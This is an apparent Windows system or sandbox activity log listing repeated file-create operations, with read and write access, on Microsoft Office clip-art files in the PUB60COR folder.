Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00932_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00985_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOAT.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOATINST.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00076_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00078_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00100_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00135_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00136_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00145_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00184_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00186_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00200_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00438_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00439_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00440_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00441_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00442_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00443_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00444_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00445_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00453_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01080_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01603_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01634_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01635_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01636_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01637_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01638_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01639_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CARBN_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CG1606.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLASSIC1.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLASSIC2.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLIP.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CMNTY_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANE.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANINST.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUP.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUPINST.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00117_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00121_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00234_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00255_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00256_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00261_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00297_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00372_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00405_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00407_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00413_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00414_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00419_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00437_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00448_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00449_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00687_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00705_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01015_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01039_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01138_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01139_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01140_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01143_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01145_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01146_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01151_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01152_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01157_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01160_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01162_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01163_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01166_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01167_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01168_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01169_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01170_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01171_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01172_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01173_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01176_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01178_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01179_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01180_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01181_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01182_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01183_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01186_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01366_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01434_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01585_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01586_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01628_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01629_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01630_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01631_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01761_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01772_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01793_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EAST_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00010_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
